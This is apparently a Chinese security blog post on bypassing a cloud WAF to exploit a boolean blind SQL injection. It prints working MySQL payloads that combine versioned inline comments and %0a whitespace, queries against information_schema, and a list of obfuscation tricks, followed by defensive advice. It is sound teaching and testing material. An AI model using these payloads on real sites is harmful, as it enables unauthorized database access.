一次失败的SQL注入经历
字数 770 2025-08-06 18:08:11
SQL注入绕过WAF实战教学
1. 漏洞背景
某次安全扫描发现了一个SQL注入漏洞点,但该漏洞点位于某Cloud WAF(Web应用防火墙)之后,直接利用会被拦截。需要通过特殊技术绕过WAF的防护机制。
2. 初步测试
2.1 基础注入测试
?id=1 and 1=1
- 被WAF拦截
- 返回403 Forbidden
2.2 简单绕过尝试
?id=1 /*!and*/ 1=1
- 使用MySQL注释语法
- 仍然被拦截
3. WAF绕过技术分析
3.1 注释混淆技术
?id=1 /*!50445and*/ 1=1
- MySQL版本特定注释语法
- 50445表示MySQL版本号,只有版本>=5.04.45才会执行注释中的内容
3.2 空白符替代
?id=1%0aand%0a1=1
- 使用换行符(%0a)替代空格
- 可能绕过基于空格检测的WAF规则
3.3 内联注释与空白符组合
?id=1%0a/*!50445and*/%0a1=1
- 结合换行符和版本特定注释
- 成功绕过WAF
4. 完整注入流程
4.1 确定注入点
?id=1%0a/*!50445and*/%0a1=1 -- 返回正常
?id=1%0a/*!50445and*/%0a1=2 -- 返回异常
- 确认存在布尔型SQL注入
4.2 获取数据库信息
?id=1%0a/*!50445and*/%0a(select%0a@@version%0alimit%0a1)=1
- 通过布尔盲注获取MySQL版本
4.3 获取表名
?id=1%0a/*!50445and*/%0a(select%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a0,1)=1
- 从information_schema获取当前数据库表名
5. 绕过技术总结
- 版本特定注释:
/*!50445and*/形式 - 空白符替代:使用
%0a(换行)、%09(制表符)等替代空格 - 大小写混合:
AnD替代and - 双重URL编码:对关键字符进行多次编码
- 注释分割:将关键字拆分成
a/**/nd形式
6. 防御建议
- 使用预编译语句(Prepared Statements)
- 实施严格的输入验证
- 最小权限原则配置数据库账户
- 定期更新WAF规则
- 启用详细的SQL注入攻击日志记录
7. 最终结论
虽然通过多种技术组合成功绕过了WAF的防护,但实际测试发现该注入点最终无法获取有效数据,属于"鸡肋"漏洞。这提醒我们:
- WAF不是万能的,需要多层防御
- 漏洞验证需要彻底,避免误报
- 绕过技术的研究对提升防御能力至关重要